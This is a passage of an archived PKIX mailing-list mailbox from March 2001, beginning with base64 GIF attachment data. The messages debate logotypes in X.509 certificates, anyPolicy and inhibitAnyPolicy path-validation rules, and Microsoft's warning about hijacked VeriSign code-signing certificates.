AcVYE6BPIMzMzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ACwAAAAAJAAWAAAFzGAgjmRpnmigrGzrvvArxnQNz3Ze43rv8r6gCEE8GInFQxEJKSiRiCcU
UUIMrlTrALEYLAKJ1SBBDVwHhZTIsKIOCFsFobAgKAYrUYHAT6gDCG1sCkYrB29+RCJ4eH5q
VgQGiGBwlHdldV6Vj4xtZgRfZnJbKgoGewN/n3ZfB556cnSsb6RqCXykt1tXC2GgeCx2qmEK
oW8LgXx2CXUKRINlKQgGByMHBll0C9XX0UYnDOHi4+Tl5uUi5+rr5uns7+vu8PPk8vT3qvmq
IQA7

--MS_Mac_OE_3068143512_561796_MIME_Part
Content-type: image/gif; name="visa3.gif";
 x-mac-creator="6F676C65";
 x-mac-type="47494666"
Content-disposition: attachment
Content-transfer-encoding: base64

R0lGODlhJQAXAMQAAP/////Mmf+ZAMz//8zM/8zMzJnMzJmZzJmZmWaZzGaZmWZmmTNmmTNm
ZjMzZgAzZgAAZgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ACwAAAAAJQAXAAAF6uAjjmRpnqgIrGzrvjCsQmltPxCg3jyqP7+ecAekDXs5lQKBODidzOez
KY1OmQjFz1XosgiFVVhcILS6ZpeqdRCFCw8HYPEoGEhaQPvBeK1bDXUADA8HPwSBBwULYQMO
I35ALnQGbX1tCwCPmSwKDwqPA2qSLZ4HgQaDhXoiDmEEcQSPYyx/LG2PfQNuYoQNAJ4LsoIt
tit3vHeXqbhwJanFpCzOeQsQiiUH1gp2iaMwBtAAlaIFBwoJYeRiB2m1QAHx8vP09fb0WwL6
+/z9/v/98gEcSDCgioIICQpMyJDflhgQI8o4QlFECAA7

--MS_Mac_OE_3068143512_561796_MIME_Part--




Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA06892 for <[e-mail]>; Thu, 22 Mar 2001 16:08:53 -0800 (PST)
Received: from fwd04.sul.t-online.com  by mailout01.sul.t-online.com with smtp  id 14gF8H-0004OK-00; Fri, 23 Mar 2001 01:08:45 +0100
Received: from junker.ms.inka.de (520010731148-0001@[217.1.24.32]) by fmrl04.sul.t-online.com with esmtp id 14gF8F-0ktO64C; Fri, 23 Mar 2001 01:08:43 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id D346E67C7C for <[e-mail]>; Fri, 23 Mar 2001 01:08:39 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Fri, 23 Mar 2001 01:08:39 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Reply-To: [e-mail]
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: "[e-mail]" <[e-mail]>
Subject: Re: it gets worse -- Microsoft warns of hijacked certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

Ed Gerck wrote:
> 
> "A field in every certificate should indicate the CRL Distribution Point
> (CDP) - the location from which the CRL can be obtained. The problem is
> that VeriSign code-signing certificates leave the CDP information blank.

My intention always was that in current PKIX specs too many things
are optional.

Instead of discussing additional optional extensions (e.g. logos) we
should discuss how to build a secure and easy-to-implement PKI
system by making more details mandantory or leave them out
completely.

Ciao, Michael.


Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by above.proper.com (8.9.3/8.9.3) with SMTP id PAA04843 for <[e-mail]>; Thu, 22 Mar 2001 15:33:29 -0800 (PST)
Received: (qmail 1515 invoked from network); 22 Mar 2001 23:33:21 -0000
Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 22 Mar 2001 23:33:21 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 22 Mar 2001 17:33:19 -0600
Message-ID: <[e-mail]>
Date: Thu, 22 Mar 2001 15:33:16 -0800
From: Ed Gerck <[e-mail]>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "[e-mail]" <[e-mail]>
Subject: it gets worse -- Microsoft warns of hijacked certificates
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

 http://news.cnet.com/news/0-1003-200-5222484.html?tag=tp_pr

It gets worse. As many developers in PKI have pointed out
over more than 4 years (see www.mcg.org.br/certover.pdf),
even though CAs such as VeriSign periodically generate a Certificate
Revocation List (CRL), which lists all the certificates that should be
considered invalid, this does not work for several reasons paradoxically
built into the system. Why?

As Microsoft has ignored in all these years, but now proves as its own
medicine, one reason is that VeriSign certificates do not support what they
should comply with. In Microsoft's own words:

"A field in every certificate should indicate the CRL Distribution Point
(CDP) – the location from which the CRL can be obtained. The problem is
that VeriSign code-signing certificates leave the CDP information blank.
As a result, even though VeriSign has added these two certificates to
its current CRL, it’s not possible for systems to automatically download
and check it."

The solution is a software-patch. But, what certifies the software-patch?
Maybe the guys that did this mess could also get their patch certified,
which patch would then revoke the correct certificates and leave just the
rogue ones?

Cheers -- Ed Gerck



Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA03512 for <[e-mail]>; Thu, 22 Mar 2001 15:17:26 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id JAA04288 for <[e-mail]>; Fri, 23 Mar 2001 09:27:03 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Fri, 23 Mar 2001 10:18:09 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HNY7PP42>; Fri, 23 Mar 2001 10:15:30 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Cc: "'Stefan Santesson'" <[e-mail]>, Stephen Kent <[e-mail]>, [e-mail]
Subject: RE: Logotypes in certificates
Date: Fri, 23 Mar 2001 10:15:29 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

I agree with Todd that once we touch the slippery path of using graphical
images as a formal constituent of trust establishement, the problem will
become a far more exotic one than defining a set of rules for verification
algorithm.

I feel that there is no common understanding of the logotype's intended
purpose (purpose, not handling!), and therefore the arguments are making
rounds. Following are the points which require clarification, in order to be
certain what use scenario we are talking about:

1 Logotypes are allowed in (to be referenced from) EE PKC:
1.1 Logotypes in EE PKC are there for 'informational use only'. They are not
part of the Subject's name, in whatever form. They must be ignored by
validation process. Identity with a logotype is no different from the same
identity less logotype.

1.2 Logotype in EE PKC is a valid component of the Subject's identity.
Identity with a logotype is different from the same identity less logotype.
A single PK cannot be bound to the two identities.

2 Logotypes are allowed to be referenced from CA certificates.
2.1 Logotypes are only allowed in self-signed CA certificates.

My original understanding of the proposal was 1.1-yes, 1.2-no, 2-yes,
2.1-no.

This way, logotypes have a simple purpose of branding and pleasing humal
eyes. No trust. I can reference a logotype url from my certificate, and
later remove the logotype (so that the url becomes a dead one). It should
not affect the acceptance of my certificate by formal validation procedures.

(I'm not saying that branding and eyes pleasure justify the troubles :)

Michael



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Friday, March 23, 2001 6:48 AM
To: Michael Zolotarev
Cc: 'Stefan Santesson'; Stephen Kent; Michael Zolotarev;
[e-mail]
Subject: RE: Logotypes in certificates


As I have said a number of times already, there is no use
between machines for the Logo as part of the cert. 

This is purely for human's that might want to look at a
redition of the cert in a paper-like framework, which BTW
is essentially a per-use type of decision and not ANYTHIG
having to do with the negotiability or negotiations
process of the cert itself.

As Mssr. Kemp has pointed out as well, let the
application, if it needs to, deal with displaying a Logo
as part of its opeations.

If this presists as a topic of conversation then I would
suggest that a formal specification for the "CertViewer"
is needed as part of this same scheme so that the Logo's
will render and look the same everywhere otherwise the
logo and its intended use is pointless and the fact that
it is "potentially different" on a number of platforms
will lesson the value and increase the potential
confusion factor for the use of these additions.


--
Regards,
Todd
> Now I'm really confused.
> 
> The whole problem is, as Stephen has neatly put it, that "the whole
purpose
> of including a displayable logo is precisely an attempt by a CA to gain
the
> trust of users".
> 
> A CA requires to gain trust of a user if it is not still trusted
> (obviously). Which is the case when a path construction 
> (not validation!) ended up at some self-signed CA which is not among the
> user's trusted roots set. This is the only case I can think of when a
> decision is to be made by the user, i.e. whether to trust that CA or not. 
> 
> I cannot think of any other situation when a CA would require to "gain the
> trust of users".
> 
> If so, then the scope of analysis of logotype's impact is limited to path
> construction, not to path validation. Because, again, validation begins
when
> the trust is already defined, and it is to late for the user to intervene.

> 
> Path validation algorithm is 'silent', it does not need to present
anything
> to the user. Therefore, presence of a logotype cannot possible affect the
> result of the validation, as the user is not asked about anything, or
> presented anything, at that stage.
> 
> Consiquently, I'm failing to understand how path validation parameters and
> constrains can be affected by the logotypes.
> 
> I guess there may be something fundamental I'm missing...
> 
> Regards
> Michael
>  
> 
> -----Original Message-----
> From: Stefan Santesson [mailto:[e-mail]]
> Sent: Friday, March 23, 2001 4:56 AM
> To: Stephen Kent; Michael Zolotarev
> Cc: [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Steve,
> 
> There was a suggestion during a dinner yesterday that logotypes actually 
> could be provided as a policy qualifier. That would actually solve your 
> problem since you could directly tie acceptance of logotypes in 
> certificates to a particular policy.
> 
> This enables you to control the path validation problem with the use of 
> policy constraints.
> 
> /Stefan
> 
> 
> At 18:21 2001-03-21 -0500, Stephen Kent wrote:
> >Michael,
> >
> >>Though I don't favor including logotype or reference to a logotype to a
> >>cert, considering it as a pure marketing trick (sorry, Stefan :), but my
> >>realisation was that a logotype is by no means related to the
> establishment
> >>of trust. It is 100% meant for a human eye only, and verification
> algorithm
> >>should simply ignore it, as it ingores any other proprietory extentions.
> If
> >>the verification comes up with an answer 'not validated', and the
software
> >>prompts a user saying 'couldn't validate', and the user still makes a
> >>decision to trust the cert, it is an application's problem, which
already
> >>exists now, and logotypes add no extra pitch to it.
> >
> >I think the whole purpose of including a displayable logo is precisely an

> >attempt by a CA to gain the trust of users, so I disagree with your 
> >stating point. The concern I raised is not one that is addressed by your 
> >example, i.e., my example of a "bad outcome" is a cert that carries a
logo 
> >which will be recognized by a user and thus will engender the user's 
> >confidence, but it is contained in a cert that, while valid under our
path 
> >validation controls, has nothing to do with the entity whose logo appears

> >in the cert and which is displayed to the user.
> >
> >>As an extreme, if a CA considers logotypes to be anyhow harmful, it
simply
> >>won't have a logotype in its own cert, and refuse certification of
> >>logotypes.
> >
> >As a CA I can refuse to certify a logo-equipped cert one layer down, but 
> >not farther, unless we adopt a means of representing the logo that is 
> >subject to existing controls. Tom suggested on possible means, if we put 
> >the logo in an altname field and make it a type which can be prohibited 
> >using nameConstraints.
> >
> >Steve
> 
> 
> 
> This footnote confirms that this email message has been swept by
> MIMEsweeper for the presence of computer viruses.
> 
> 
>
----------------------------------------------------------------------------
----
> ---------------------------------
> The information contained in this message is confidential and is intended 
> for the addressee(s) only.  If you have received this message in error or 
> there are any problems please notify the originator immediately.  The 
> unauthorized use, disclosure, copying or alteration of this message is 
> strictly forbidden. Baltimore Technologies plc will not be liable for
direct, 
> special, indirect or consequential damages arising from alteration of the 
> contents of this message by a third party or as a result of any virus
being 
> passed on.
> 
> In addition, certain Marketing collateral may be added from time to time
to 
> promote Baltimore Technologies products, services, Global e-Security or 
> appearance at trade shows and conferences.
>  
> This footnote confirms that this email message has been swept by 
> Baltimore MIMEsweeper for Content Security threats, including
> computer viruses.


Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA28835 for <[e-mail]>; Thu, 22 Mar 2001 14:17:07 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2MMH5m09077; Fri, 23 Mar 2001 08:17:06 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: "Trevor Freeman" <[e-mail]>
Cc: [e-mail]
Subject: Re: Logotypes in certificates 
In-reply-to: Your message of "Thu, 22 Mar 2001 11:58:58 PST." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 23 Mar 2001 08:17:05 +1000
From: Dean Povey <[e-mail]>

>Logically speaking, this is a name in that we are talking about a token
>which represents an organization. Its just a graphical token, not a
>textual token. However I full agree with Steve that like other name
>forms, we have to validate the CAs write to assert that logo. I for one
>don't see a way to make this work with graphics, and unless it lives by
>the same rules as text rules, it is open to abuse and therefore is a
>very bad idea.

This is really a very defeatist attitude.  Just because you can't enforce
technically the ability to make a logo fall within a certain `space'
doesn't mean you can't control it technically.  What constraints could the
a higher level CA possibly want to enforce on a logo later in the path
other than the right to either include one or not?  Name Constraints
already exists to restrict the range of possible spaces the DN/names would fall
into (i.e. who you can issue certs to) and the subordinate CA has to follow
the certificate policy or the whole thing falls down anyway.  

This is a really esoteric problem, and there is a simple solution - punt 
it to policy and revoke the subordinate CAs cert if they break the rules.  
Honestly you have far more to worry about if the subordinate CA is not 
following your identification/authentication rules than if they are 
including a pointer to a logo in their cert.  You can no more enforce 
these with fields in the Certificate than you can enforce constraints on 
graphical types.

The big benefit of logos is surely that it makes Joe User more involved/
aware of the security process that is occurring.  Give the propensity of 
users to ignore pop up text messages (or turn them off), this has to be a 
good thing.


-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA28115 for <[e-mail]>; Thu, 22 Mar 2001 14:12:25 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id RAA16060; Thu, 22 Mar 2001 17:12:26 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Thu, 22 Mar 2001 17:12:09 -0500
To: "Trevor Freeman" <[e-mail]>, <[e-mail]>
From: "David A. Cooper" <[e-mail]>
Subject: RE: specific policies used in conjunction with anyPolicy
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

Trevor,

I do not see why you think I have made a "big leap". Are you referring to my suggestion that one can assert both anyPolicy and some specific policies or that applications may choose different values for initial-any-policy-inhibit?

First, we have to acknowledge the existence of the inhibitAnyPolicy extension. If a CA includes this extension in a certificate that it issues, then the anyPolicy OID will be ignored in any certificates that follow that certificate in a certification path. If the issuers of those certificates do not specify policies other than anyPolicy in their certificates, then the certification path will either be rejected or will be accepted under no polices. So, if policies are important, and there is the possibility that a CA (or the relying party) will inhibit the processing of anyPolicy, then it will not be sufficient for CAs to assert just the anyPolicy OID. If you want it to be the case that "if you assert the all polices OID in a CA certificate, it is an operational simplification, and the administrator does not need to add any more", then you'll to get rid of inhibitAnyPolicy.

Second, while you may not be able to conceive of an instance where an application would care about the value of initial-any-policy-inhibit, it appears that Carlin Covey can. He stated that he wanted "to support applications that insist on finding a specific policy OID, and also support more liberal applications that will tolerate the anyPolicy OID." The way for an application to specify that it insists on finding a specify policy OID is to set initial-any-policy-inhibit.

At 11:58 AM 3/22/01 -0800, Trevor Freeman wrote:
>Dave,
>You have made a big leap here which I had not interpreted from the text.
>This revolved around who is driving the inputs into the path validation
>process. I can conceive instances where an application would want to
>pass in a-d. I do not think for one moment that an application would
>care about the rest, nor should they. This stuff is already way to
>complex, and interdependencies like this are a nightmare. We are on an
>uphill battle to get applications to use PK wisely in the first place
>because they think it is hard. Now you are asserting that we need to
>make PK administrators knowledgeable about what applications they are
>supporting and expect that they are intimacy aware of all their needs.

As I stated above, I was merely describing how Carlin Covey could accomplished what he wanted to do. If you think there is something wrong with what he wants to do, that is a different matter. I was merely pointing out that it is supported by the standard.

>That is not doing to happen. We need clean simple rules if this is to be
>successful. So lets start be saying if you assert the all polices OID in
>a CA certificate, it is an operational simplification, and the
>administrator does not need to add any more.

Unless the inhibitAnyPolicy extension is eliminated, this is simply not the case.

>Trevor
>
>-----Original Message-----
>From: David A. Cooper [mailto:[e-mail]] 
>Sent: Wednesday, March 21, 2001 12:32 PM
>To: [e-mail]
>Subject: Re: specific policies used in conjunction with anyPolicy
>
>Yes, you may assert both anyPolicy and specific certificate policies in
>the same certificate. This may not be specifically stated, but path
>processing algorithm (section 6.1.3) does take this possibility into
>account.
>
>The reason that this is allowed is exactly the one you stated.
>Originally there was a rule that if anyPolicy were included in the
>certificatePolicies extension, then no other policy could be included.
>This rule was removed when the inhibitAnyPolicy extension was developed.
>In the case you mention, the "strict" applications would set
>initial-any-policy-inhibit in order to ensure that the path would only
>be considered valid under policies that had been explicitly listed in
>each certificate. The more liberal applications would not set
>initial-any-policy-inhibit and would then (possibly) consider the path
>to be valid under more policies.
>
>At 01:11 PM 3/21/01 -0600, Carlin Covey wrote:
> >The certificate policies extension allows a sequence of policy OIDs.
> >One such policy OID is anyPolicy.  I assume that it is permissible in a
> >CA cert to include specific policy OIDs in addition to the anyPolicy OID.
> >The reason I would want to do this is to support applications that insist
> >on finding a specific policy OID, and also support more liberal applications
> >that will tolerate the anyPolicy OID.
> >
> >draft-ietf-pkix-new-part1-05 does not appear to prohibit using specific
> >policy OIDs and the anyPolicy OID in the same CA cert.  Is this true?




Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA26424 for <[e-mail]>; Thu, 22 Mar 2001 13:59:24 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2MLxHm09012; Fri, 23 Mar 2001 07:59:17 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: "David P. Kemp" <[e-mail]>
cc: [e-mail]
Subject: Re: Logotypes [not] in certificates 
In-Reply-To: Message from "David P. Kemp" <[e-mail]>  of "Thu, 22 Mar 2001 09:53:35 EST." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 23 Mar 2001 07:59:17 +1000
From: Dean Povey <[e-mail]>

>The CA is involved in certifying the identity of the end entity, but
>only the end entity itself is responsible for displaying or not
>displaying a particular logotype in its communications with other end
>entities.  Most of the postings in favor of logotypes in certificates
>have described why branding is important to users, but have failed
>to to justify the necessity of a CA's involvement in the branding
>process.

Hmm, I think the reasoning for involving the CA is pretty straight 
forward. The problem that certificates is trying to solve is to provide a 
means for a user to determine the correct public key to use to talk to a 
particular entity.  Traditionally this is done by binding this key to a 
name.  However, names are frequently ambiguous and in some cases are 
difficult to recognise.  This leads to problems where an attacker obtains 
a Certificate for a name similar to an organisation they are trying to 
target.  For a concrete examples see the recent slashdot story:

http://slashdot.org/articles/01/03/22/1947233.shtml

And MicroSoft's Bulletin:
http://www.microsoft.com/technet/security/bulletin/MS01-017.asp

Logos are much easier for humans to recognise.  By having a CA bind the
public key to a logo and having the UI use it appropriately you enable
users to make much better decisions about how they use their certificates.
How many people take the trouble to read all the Certificate fields these
days?

-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from smtppop1pub.verizon.net (smtppop1pub.gte.net [206.46.170.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA21762 for <[e-mail]>; Thu, 22 Mar 2001 12:31:27 -0800 (PST)
Received: from HOUSLEY-LAP.verizon.net (pcp001153pcs.wireless.meeting.ietf.org [135.222.66.141]) by smtppop1pub.verizon.net  with ESMTP ; id OAA76777040 Thu, 22 Mar 2001 14:23:49 -0600 (CST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Thu, 22 Mar 2001 15:22:43 -0500
To: Stefan Santesson <[e-mail]>
From: Russ Housley <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: Stephen Kent <[e-mail]>, Michael Zolotarev <[e-mail]>, [e-mail]
In-Reply-To: <[e-mail]>
References: <p05010407b6dee6ef6571@[128.33.238.72]> < <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

As every long-standing participant knows, I absolutely hate policy 
qualifiers.  That said, I find it extremely difficult to send this 
message.   Given the alternatives that have been discussed so far, I like 
this one much more.

Russ


At 06:55 PM 3/22/2001 +0100, Stefan Santesson wrote:
>Steve,
>
>There was a suggestion during a dinner yesterday that logotypes actually 
>could be provided as a policy qualifier. That would actually solve your 
>problem since you could directly tie acceptance of logotypes in 
>certificates to a particular policy.
>
>This enables you to control the path validation problem with the use of 
>policy constraints.
>
>/Stefan
>
>
>At 18:21 2001-03-21 -0500, Stephen Kent wrote:
>>Michael,
>>
>>>Though I don't favor including logotype or reference to a logotype to a
>>>cert, considering it as a pure marketing trick (sorry, Stefan :), but my
>>>realisation was that a logotype is by no means related to the establishment
>>>of trust. It is 100% meant for a human eye only, and verification algorithm
>>>should simply ignore it, as it ingores any other proprietory extentions. If
>>>the verification comes up with an answer 'not validated', and the software
>>>prompts a user saying 'couldn't validate', and the user still makes a
>>>decision to trust the cert, it is an application's problem, which already
>>>exists now, and logotypes add no extra pitch to it.
>>
>>I think the whole purpose of including a displayable logo is precisely an 
>>attempt by a CA to gain the trust of users, so I disagree with your 
>>stating point. The concern I raised is not one that is addressed by your 
>>example, i.e., my example of a "bad outcome" is a cert that carries a 
>>logo which will be recognized by a user and thus will engender the user's 
>>confidence, but it is contained in a cert that, while valid under our 
>>path validation controls, has nothing to do with the entity whose logo 
>>appears in the cert and which is displayed to the user.
>>
>>>As an extreme, if a CA considers logotypes to be anyhow harmful, it simply
>>>won't have a logotype in its own cert, and refuse certification of
>>>logotypes.
>>
>>As a CA I can refuse to certify a logo-equipped cert one layer down, but 
>>not farther, unless we adopt a means of representing the logo that is 
>>subject to existing controls. Tom suggested on possible means, if we put 
>>the logo in an altname field and make it a type which can be prohibited 
>>using nameConstraints.
>>
>>Steve



Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA18089 for <[e-mail]>; Thu, 22 Mar 2001 11:58:31 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Thu, 22 Mar 2001 11:58:51 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 22 Mar 2001 11:58:59 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Thu, 22 Mar 2001 11:58:59 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4673.0
content-class: urn:content-classes:message
Subject: RE: Logotypes in certificates
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Date: Thu, 22 Mar 2001 11:58:58 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCyOl+Fhk4n6b95QIK9wfkD/O7JiQAlh5xA
From: "Trevor Freeman" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 22 Mar 2001 19:58:59.0249 (UTC) FILETIME=[88CC0210:01C0B30A]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id LAA18090

Logically speaking, this is a name in that we are talking about a token
which represents an organization. Its just a graphical token, not a
textual token. However I full agree with Steve that like other name
forms, we have to validate the CAs write to assert that logo. I for one
don't see a way to make this work with graphics, and unless it lives by
the same rules as text rules, it is open to abuse and therefore is a
very bad idea.
Trevor

-----Original Message-----
From: Peter Gutmann [mailto:[e-mail]] 
Sent: Wednesday, March 21, 2001 9:56 PM
To: [e-mail]
Cc: [e-mail]
Subject: RE: Logotypes in certificates

"Tom Gindin" <[e-mail]> writes:

>Wouldn't Logotypes most easily be implemented as an OTHER-NAME within
one of
>the alternate name fields (probably SubjectAltName)?  If so, how would
they
>affect NameConstraints and the like?  IMHO, they would have little
effect on
>them since logos are not hierarchical names and thus couldn't easily be
>governed by NameConstraints.

That sounds like a sensible way to do it, if your cert is issued by
(say) VISA
then they'll put the VISA logo in the issuer's other-name.  I used an
other-
name for the MPEG-of-cat cert I created a few years back and both
MSIE/Windows
and Netscape accepted it (meaning they didn't reject the cert or crash)
so it
looks like a fairly clean way to do it.

Peter.



Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA18091 for <[e-mail]>; Thu, 22 Mar 2001 11:58:31 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Thu, 22 Mar 2001 11:58:51 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 22 Mar 2001 11:58:59 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Thu, 22 Mar 2001 11:58:59 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4673.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Subject: RE: specific policies used in conjunction with anyPolicy
Date: Thu, 22 Mar 2001 11:58:59 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: specific policies used in conjunction with anyPolicy
Thread-Index: AcCyRqiKZ051GgLqTvqnMPOGQE9b6wAjGgWQ
From: "Trevor Freeman" <[e-mail]>
To: "David A. Cooper" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 22 Mar 2001 19:58:59.0468 (UTC) FILETIME=[88ED6CC0:01C0B30A]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id LAA18095

Dave,
You have made a big leap here which I had not interpreted from the text.
This revolved around who is driving the inputs into the path validation
process. I can conceive instances where an application would want to
pass in a-d. I do not think for one moment that an application would
care about the rest, nor should they. This stuff is already way to
complex, and interdependencies like this are a nightmare. We are on an
uphill battle to get applications to use PK wisely in the first place
because they think it is hard. Now you are asserting that we need to
make PK administrators knowledgeable about what applications they are
supporting and expect that they are intimacy aware of all their needs.
That is not doing to happen. We need clean simple rules if this is to be
successful. So lets start be saying if you assert the all polices OID in
a CA certificate, it is an operational simplification, and the
administrator does not need to add any more.

Trevor

-----Original Message-----
From: David A. Cooper [mailto:[e-mail]] 
Sent: Wednesday, March 21, 2001 12:32 PM
To: [e-mail]
Subject: Re: specific policies used in conjunction with anyPolicy

Yes, you may assert both anyPolicy and specific certificate policies in
the same certificate. This may not be specifically stated, but path
processing algorithm (section 6.1.3) does take this possibility into
account.

The reason that this is allowed is exactly the one you stated.
Originally there was a rule that if anyPolicy were included in the
certificatePolicies extension, then no other policy could be included.
This rule was removed when the inhibitAnyPolicy extension was developed.
In the case you mention, the "strict" applications would set
initial-any-policy-inhibit in order to ensure that the path would only
be considered valid under policies that had been explicitly listed in
each certificate. The more liberal applications would not set
initial-any-policy-inhibit and would then (possibly) consider the path
to be valid under more policies.

At 01:11 PM 3/21/01 -0600, Carlin Covey wrote:
>The certificate policies extension allows a sequence of policy OIDs.
>One such policy OID is anyPolicy.  I assume that it is permissible in a
>CA cert to include specific policy OIDs in addition to the anyPolicy
OID.
>The reason I would want to do this is to support applications that
insist
>on finding a specific policy OID, and also support more liberal
applications
>that will tolerate the anyPolicy OID.
>
>draft-ietf-pkix-new-part1-05 does not appear to prohibit using specific
>policy OIDs and the anyPolicy OID in the same CA cert.  Is this true?




Received: from mtiwmhc23.worldnet.att.net (mtiwmhc23.worldnet.att.net [204.127.131.48]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA17358 for <[e-mail]>; Thu, 22 Mar 2001 11:48:32 -0800 (PST)
From: [e-mail]
Received: from webmail.worldnet.att.net ([204.127.135.40]) by mtiwmhc23.worldnet.att.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP id <[e-mail]>; Thu, 22 Mar 2001 19:48:04 +0000
Received: from [161.215.27.111] by webmail.worldnet.att.net; Thu, 22 Mar 2001 19:48:03 +0000
